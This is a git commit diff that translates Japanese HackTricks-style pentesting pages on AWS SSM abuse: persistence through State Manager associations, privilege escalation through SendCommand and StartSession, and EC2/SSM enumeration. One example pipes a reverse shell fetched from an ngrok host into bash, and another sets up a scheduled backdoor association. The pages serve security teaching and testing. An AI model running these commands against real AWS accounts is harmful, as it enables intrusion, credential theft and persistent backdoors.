Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p

This commit is contained in:
Translator
2025-07-24 06:56:59 +00:00
parent f0781fa6a8
commit 7a206c3e48
4 changed files with 47 additions and 25 deletions

View File

@@ -230,7 +230,7 @@
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)

View File

@@ -1,18 +1,18 @@
# AWS - SSM Perssitence
# AWS - SSM パーシステンス
{{#include ../../../banners/hacktricks-training.md}}
## SSM
詳細については、次を確認してください
詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### ssm:CreateAssociationを使用した持続性
### ssm:CreateAssociationを使用したパーシステンス
ssm:CreateAssociationの権限を持つ攻撃者は、SSMによって管理されるEC2インスタンスでコマンドを自動的に実行するためのState Manager Associationを作成できます。これらのアソシエーションは、固定の間隔で実行されるように構成でき、対話型セッションなしでバックドアのような持続性に適しています。
**`ssm:CreateAssociation`** の権限を持つ攻撃者は、SSMによって管理されるEC2インスタンスでコマンドを自動的に実行するためのステートマネージャーアソシエーションを作成できます。これらのアソシエーションは、固定の間隔で実行されるように構成でき、インタラクティブなセッションなしでバックドアのようなパーシステンスに適しています。
```bash
aws ssm create-association \
--name SSM-Document-Name \

View File

@@ -12,7 +12,7 @@ SSMに関する詳細情報は、以下を確認してください
### `ssm:SendCommand`
**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSM Agentを実行しているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを侵害**することができます。
**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを危険にさらす**ことができます。
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
に侵害されたEC2インスタンス内で特権を昇格させるためにこの技術を使用している場合、次のコマンドでローカルにリバースシェルをキャプチャできます:
この技術を使用して、すでに侵害されたEC2インスタンス内で特権を昇格させる場合、次のコマンドでローカルにリバースシェルをキャプチャできます:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -35,7 +35,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
### `ssm:StartSession`
**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、**その中で実行されているIAMロールを侵害**することができます。
**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、その中で実行されている**IAMロールを侵害**することができます。
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,7 +45,7 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> セッションを開始するには、**SessionManagerPlugin**インストールる必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> セッションを開始するには、**SessionManagerPlugin**インストールされている必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
@@ -59,7 +59,7 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**潜在的影響:** `ExecuteCommand`が有効な実行中のタスクに接続された`ECS` IAMロールへの直接的な権限昇格。
**潜在的影響:** `ExecuteCommand`が有効な実行中のタスクに添付された`ECS` IAMロールへの直接的な権限昇格。
### `ssm:ResumeSession`
@@ -72,7 +72,7 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**潜在的影響:** 実行中のインスタンスに接続されたSSMエージェントと切断されたセッションを持つEC2 IAMロールへの直接的な権限昇格。
**潜在的影響:** SSMエージェントが実行されている実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
@@ -95,7 +95,7 @@ aws ssm list-commands
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
これらの権限を持つ攻撃者は、送信されたすべての**コマンド**をリストし、生成された**出力を読み取る**ことができ、そこに**機密情報**が見つかることを期待します。
これらの権限を持つ攻撃者は、送信されたすべての**コマンド**をリストし、生成された**出力**を読み取ることができ、そこに**機密情報**が見つかることを期待します。
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,7 +103,21 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**潜在的な影響:** コマンドラインの出力内に機密情報を見つけることができます
**潜在的な影響:** コマンドラインの出力内に機密情報を見つける。
### ssm:CreateAssociationの使用
**`ssm:CreateAssociation`** の権限を持つ攻撃者は、SSMによって管理されているEC2インスタンスでコマンドを自動的に実行するためのState Manager Associationを作成できます。これらのアソシエーションは固定の間隔で実行されるように構成でき、インタラクティブなセッションなしでバックドアのような持続性に適しています。
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> この永続性の方法は、EC2インスタンスがSystems Managerによって管理され、SSMエージェントが実行中であり、攻撃者が関連付けを作成する権限を持っている限り機能します。インタラクティブセッションや明示的なssm:SendCommand権限は必要ありません。**重要:** `--schedule-expression`パラメータ(例: `rate(30 minutes)`は、AWSの最小間隔である30分を尊重する必要があります。即時または一度限りの実行の場合は、`--schedule-expression`を完全に省略してください — 関連付けは作成後に一度実行されます。
### Codebuild

View File

@@ -29,13 +29,13 @@ EC2で列挙するのに興味深い項目
### インスタンスプロファイル
**EC2インスタンス**上で実行されるアプリケーションに権限を付与するために**ロール**を使用するには、少し追加の設定が必要です。EC2インスタンス上で実行されるアプリケーションは、仮想化されたオペレーティングシステムによってAWSから抽象化されています。この追加の分離のため、EC2インスタンスにAWSロールとその関連する権限を割り当て、それをアプリケーションで利用可能にするための追加のステップが必要です。
**EC2インスタンス**上で実行されるアプリケーションに権限を付与するために**ロール**を使用するには、少し追加の設定が必要です。EC2インスタンス上で実行されるアプリケーションは、仮想化されたオペレーティングシステムによってAWSから抽象化されています。この追加の分離のため、AWSロールとその関連する権限をEC2インスタンスに割り当て、それをアプリケーションで利用可能にするための追加のステップが必要です。
この追加のステップは、インスタンスに添付された[_**インスタンスプロファイル**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)の**作成**です。**インスタンスプロファイルにはロールが含まれ**、インスタンス上で実行されるアプリケーションにロールの一時的な資格情報を提供できます。これらの一時的な資格情報は、アプリケーションのAPI呼び出しでリソースにアクセスし、ロールが指定するリソースのみにアクセスを制限するために使用できます。**EC2インスタンスには一度に1つのロールしか割り当てられず**、インスタンス上のすべてのアプリケーションは同じロールと権限を共有します。
この追加のステップは、インスタンスに添付された[_**インスタンスプロファイル**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)の**作成**です。**インスタンスプロファイルにはロールが含まれ**、インスタンス上で実行されるアプリケーションにロールの一時的な資格情報を提供できます。これらの一時的な資格情報は、アプリケーションのAPI呼び出しでリソースにアクセスし、ロールが指定するリソースのみにアクセスを制限するために使用できます。**EC2インスタンスには同時に1つのロールしか割り当てられず**、インスタンス上のすべてのアプリケーションは同じロールと権限を共有します。
### メタデータエンドポイント
AWS EC2メタデータは、Amazon Elastic Compute Cloud (EC2)インスタンスにランタイムで利用可能な情報です。このメタデータは、インスタンスID、実行中のアベイラビリティゾーン、インスタンスに関連付けられたIAMロール、インスタンスのホスト名など、インスタンスに関する情報を提供するために使用されます。
AWS EC2メタデータは、Amazon Elastic Compute Cloud (EC2)インスタンスに関する情報で、インスタンスが実行時に利用可能です。このメタデータは、インスタンスID、実行中のアベイラビリティゾーン、インスタンスに関連付けられたIAMロール、インスタンスのホスト名など、インスタンスに関する情報を提供するために使用されます。
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -149,7 +149,7 @@ aws ec2 describe-vpc-peering-connections
## EBS
Amazon **EBS** (Elastic Block Store) **スナップショット**は、基本的にAWS EBSボリュームの静的な**バックアップ**です。言い換えれば、特定の時点で**EC2**インスタンスに接続されている**ディスク**の**コピー**です。EBSスナップショットは、リージョンやアカウントを越えてコピーしたり、ダウンロードしてローカルで実行したりできます。
Amazon **EBS** (Elastic Block Store) **スナップショット**は、基本的にAWS EBSボリュームの静的な**バックアップ**です。言い換えれば、特定の時点で**EC2**インスタンスに接続されている**ディスク**の**コピー**です。EBSスナップショットは、リージョンやアカウントを跨いでコピーしたり、ダウンロードしてローカルで実行したりできます。
スナップショットには、**ソースコードやAPIキー**などの**機密情報**が含まれている可能性があるため、機会があれば確認することをお勧めします。
@@ -167,7 +167,7 @@ Amazon **EBS** (Elastic Block Store) **スナップショット**は、基本的
## SSM
**Amazon Simple Systems Manager (SSM)**は、EC2インスタンスのフロートをリモートで管理し、その管理をはるかに簡単にします。これらのインスタンスの各々は、**SSMエージェントサービスを実行している必要があり、サービスがAWS APIからアクションを取得して実行します**
**Amazon Simple Systems Manager (SSM)**は、EC2インスタンスのフロートをリモートで管理し、その管理をはるかに簡単にします。これらのインスタンスの各々は、**SSMエージェントサービスを実行している必要があり、サービスがAWS APIからアクションを受け取り、それを実行します**
**SSMエージェント**は、システムマネージャーがこれらのリソースを更新、管理、構成することを可能にします。エージェントは、**AWSクラウド内のシステムマネージャーサービスからのリクエストを処理し**、リクエストに指定された通りに実行します。
@@ -186,14 +186,22 @@ EC2インスタンスでSystems Managerが実行されているかどうかを
```bash
ps aux | grep amazon-ssm
```
### プライバシー昇格
### プリベス
次のページでは、**SSM権限を悪用して特権を昇格させる方法**を確認できます:
次のページでは、**SSM権限を悪用して特権を昇格させる方法**を確認できます:
{{#ref}}
../../aws-privilege-escalation/aws-ssm-privesc.md
{{#endref}}
### 永続性
次のページでは、**SSMの権限を悪用して永続性を達成する方法**を確認できます:
{{#ref}}
../../aws-persistence/aws-ssm-persistence.md
{{#endref}}
## ELB
**Elastic Load Balancing** (ELB) は、**Amazon Web Services** (AWS) デプロイメントのための**負荷分散サービス**です。ELBは自動的に**受信アプリケーショントラフィックを分散**し、トラフィックの需要に応じてリソースをスケールします。
@@ -253,19 +261,19 @@ VPNは、**オンプレミスネットワークサイト間VPN**または*
- VPGはVPN接続のAWS側エンドポイントです。
- あなたのVPCとオンプレミスネットワーク間の安全な通信を処理します。
3. **サイト間VPN接続**:
- サイト間VPN接続は、あなたのオンプレミスネットワークを安全なIPsec VPNトンネルを通じてVPCに接続します。
- サイト間VPN接続は、オンプレミスネットワークを安全なIPsec VPNトンネルを介してVPCに接続します。
- このタイプの接続にはカスタマーゲートウェイと仮想プライベートゲートウェイが必要です。
- データセンターやネットワークとAWS環境間の安全で安定した一貫した通信に使用されます。
- 通常、定期的で長期的な接続に使用され、接続を通じて転送されたデータ量に基づいて請求されます。
- 通常、定期的で長期的な接続に使用され、接続を介して転送されたデータ量に基づいて請求されます。
4. **クライアントVPNエンドポイント**:
- クライアントVPNエンドポイントは、クライアントVPNセッションを有効にし管理するためにAWSで作成するリソースです。
- 個々のデバイスラップトップ、スマートフォンなどがAWSリソースまたはオンプレミスネットワークに安全に接続できるようにするために使用されます。
- サイト間VPNとは異なり、全体のネットワークを接続するのではなく、個々のクライアント向けに設計されています。
- クライアントVPNでは、各クライアントデバイスがVPNクライアントソフトウェアを使用して安全な接続を確立します。
[**AWS VPNの利点とコンポーネントについての詳細情報はこちら**](aws-vpc-and-networking-basic-information.md#vpn)。
[**AWS VPNの利点とコンポーネントについての詳細情報はこちらで見つけることができます**](aws-vpc-and-networking-basic-information.md#vpn)。
### Enumeration
### 列挙
```bash
# VPN endpoints
## Check used subnetwork, authentication, SGs, connected...
@@ -299,7 +307,7 @@ AWS VPN Clientを使用してVPNに接続する際、ユーザーは通常**AWS
**opvn設定ファイル**
**VPN接続が確立された場合**、システム内で**`.opvn`**設定ファイルを探すべきです。さらに、**`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**に**設定**が見つかる場所のつです。
**VPN接続が確立された場合**、システム内で**`.opvn`**設定ファイルを検索する必要があります。さらに、**$HOME/.config/AWSVPNClient/OpenVpnConfigs**に**設定**が見つかる場所の1つです。
#### **ポストエクスプロイト**